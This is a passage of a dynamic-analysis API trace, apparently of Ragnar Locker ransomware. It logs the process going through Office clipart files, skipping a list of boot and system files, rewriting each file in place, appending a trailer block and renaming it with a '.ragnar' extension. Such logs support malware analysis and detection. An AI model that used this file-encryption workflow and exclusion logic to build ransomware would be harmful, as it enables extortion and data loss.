lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6552) returned 1 [0086.797] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x198f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.797] GetProcessHeap () returned 0x580000 [0086.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.797] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.799] VirtualAlloc (lpAddress=0x0, dwSize=0x1998, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.799] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.799] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.799] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1998, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1998, lpOverlapped=0x0) returned 1 [0086.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.809] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1998, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.809] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1998, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1998, lpOverlapped=0x0) returned 1 [0086.809] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1998, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.809] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1998, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.809] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.809] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.809] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.810] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.810] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.810] GetProcessHeap () returned 0x580000 [0086.810] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.810] CloseHandle (hObject=0xf4) returned 1 [0086.810] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" [0086.810] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.ragnar_FD7BD9FC" [0086.810] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.810] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1 [0086.811] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.811] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239951.WMF" | out: lpString1="J0239951.WMF") returned="J0239951.WMF" [0086.811] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF") returned=".WMF" [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="autorun.inf") returned 1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="boot.ini") returned 1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="bootfont.bin") returned 1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="bootsect.bak") returned 1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="bootmgr") returned 1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="bootmgr.efi") returned 1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="bootmgfw.efi") returned 1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="desktop.ini") returned 1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="iconcache.db") returned 1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="ntldr") returned -1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="ntuser.dat") returned -1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="ntuser.dat.log") returned -1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="ntuser.ini") returned -1 [0086.811] lstrcmpiW (lpString1="J0239951.WMF", lpString2="thumbs.db") returned -1 [0086.811] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.811] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.811] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.811] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.811] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.811] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.811] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf")) returned 0x20 [0086.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.812] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7232) returned 1 [0086.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.812] GetProcessHeap () returned 0x580000 [0086.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.812] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.826] VirtualAlloc (lpAddress=0x0, dwSize=0x1c40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.826] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c40, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c40, lpOverlapped=0x0) returned 1 [0086.831] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.831] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c40, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.831] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c40, lpOverlapped=0x0) returned 1 [0086.832] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.832] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.832] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.832] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.832] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.832] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.832] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.832] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.832] GetProcessHeap () returned 0x580000 [0086.832] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.832] CloseHandle (hObject=0xf4) returned 1 [0086.832] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" [0086.832] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.ragnar_FD7BD9FC" [0086.832] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.833] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1 [0086.833] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.833] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239953.WMF" | out: lpString1="J0239953.WMF") returned="J0239953.WMF" [0086.833] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF") returned=".WMF" [0086.833] lstrcmpiW (lpString1="J0239953.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.833] lstrcmpiW (lpString1="J0239953.WMF", lpString2="autorun.inf") returned 1 [0086.833] lstrcmpiW (lpString1="J0239953.WMF", lpString2="boot.ini") returned 1 [0086.833] lstrcmpiW (lpString1="J0239953.WMF", lpString2="bootfont.bin") returned 1 [0086.833] lstrcmpiW (lpString1="J0239953.WMF", lpString2="bootsect.bak") returned 1 [0086.833] lstrcmpiW (lpString1="J0239953.WMF", lpString2="bootmgr") returned 1 [0086.833] lstrcmpiW (lpString1="J0239953.WMF", lpString2="bootmgr.efi") returned 1 [0086.833] lstrcmpiW (lpString1="J0239953.WMF", lpString2="bootmgfw.efi") returned 1 [0086.834] lstrcmpiW (lpString1="J0239953.WMF", lpString2="desktop.ini") returned 1 [0086.834] lstrcmpiW (lpString1="J0239953.WMF", lpString2="iconcache.db") returned 1 [0086.834] lstrcmpiW (lpString1="J0239953.WMF", lpString2="ntldr") returned -1 [0086.834] lstrcmpiW (lpString1="J0239953.WMF", lpString2="ntuser.dat") returned -1 [0086.834] lstrcmpiW (lpString1="J0239953.WMF", lpString2="ntuser.dat.log") returned -1 [0086.834] lstrcmpiW (lpString1="J0239953.WMF", lpString2="ntuser.ini") returned -1 [0086.834] lstrcmpiW (lpString1="J0239953.WMF", lpString2="thumbs.db") returned -1 [0086.834] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.834] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.834] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.834] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.834] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.834] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.834] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf")) returned 0x20 [0086.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.834] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7112) returned 1 [0086.834] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.835] GetProcessHeap () returned 0x580000 [0086.835] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.835] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.837] VirtualAlloc (lpAddress=0x0, dwSize=0x1bc8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.837] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.837] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.848] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1bc8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1bc8, lpOverlapped=0x0) returned 1 [0086.851] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.852] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bc8, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.852] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1bc8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1bc8, lpOverlapped=0x0) returned 1 [0086.852] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bc8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.852] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.852] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.852] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.852] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.853] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.853] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.853] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.853] GetProcessHeap () returned 0x580000 [0086.853] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.853] CloseHandle (hObject=0xf4) returned 1 [0086.853] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" [0086.853] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.ragnar_FD7BD9FC" [0086.853] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.869] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1 [0086.869] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.869] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239955.WMF" | out: lpString1="J0239955.WMF") returned="J0239955.WMF" [0086.869] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF") returned=".WMF" [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="autorun.inf") returned 1 [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="boot.ini") returned 1 [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="bootfont.bin") returned 1 [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="bootsect.bak") returned 1 [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="bootmgr") returned 1 [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="bootmgr.efi") returned 1 [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="bootmgfw.efi") returned 1 [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="desktop.ini") returned 1 [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="iconcache.db") returned 1 [0086.869] lstrcmpiW (lpString1="J0239955.WMF", lpString2="ntldr") returned -1 [0086.870] lstrcmpiW (lpString1="J0239955.WMF", lpString2="ntuser.dat") returned -1 [0086.870] lstrcmpiW (lpString1="J0239955.WMF", lpString2="ntuser.dat.log") returned -1 [0086.870] lstrcmpiW (lpString1="J0239955.WMF", lpString2="ntuser.ini") returned -1 [0086.870] lstrcmpiW (lpString1="J0239955.WMF", lpString2="thumbs.db") returned -1 [0086.870] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.870] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.870] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.870] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.870] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.870] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.870] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf")) returned 0x20 [0086.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.907] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4936) returned 1 [0086.907] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x133f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.908] GetProcessHeap () returned 0x580000 [0086.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.908] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.916] VirtualAlloc (lpAddress=0x0, dwSize=0x1348, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: 